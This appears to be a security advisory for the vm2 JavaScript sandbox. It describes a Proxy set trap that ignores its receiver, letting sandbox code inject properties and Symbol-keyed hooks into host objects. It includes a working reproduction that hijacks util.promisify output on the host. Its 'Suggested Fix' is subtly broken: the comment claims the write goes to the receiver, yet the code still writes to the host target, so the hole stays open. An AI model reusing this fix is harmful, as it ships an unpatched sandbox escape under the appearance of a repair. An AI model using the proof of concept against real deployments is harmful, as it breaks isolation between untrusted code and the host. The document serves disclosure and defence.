vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
```javascript
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
```
Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
```javascript
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
```
Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:
```javascript
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
```
Reproduction
```javascript
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
```
Suggested Fix
```javascript
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
```
